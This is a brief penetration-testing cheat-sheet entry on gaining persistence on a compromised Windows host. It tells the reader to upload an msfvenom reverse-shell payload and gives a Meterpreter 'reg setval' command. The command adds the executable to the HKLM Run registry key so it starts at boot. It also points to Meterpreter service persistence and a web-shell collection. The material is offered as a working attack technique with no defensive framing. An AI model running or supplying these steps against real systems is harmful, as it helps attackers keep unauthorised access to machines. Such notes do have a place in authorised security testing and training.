Manual Persistence

Build msfvenom payload and upload to target first. The following command changes the Windows registry to execute the payload on startup:

meterpreter > reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -d '"C:\\inetpub\\ftproot\\msf_reverse.exe"' -v msf_reverse

# -k indicates registry key path
# -d is the value of the key
# -v name

Persistence via Meterpreter

Meterpreter Service | Offensive Security

Persistence via Web Shells

Xh4H/Web-Shells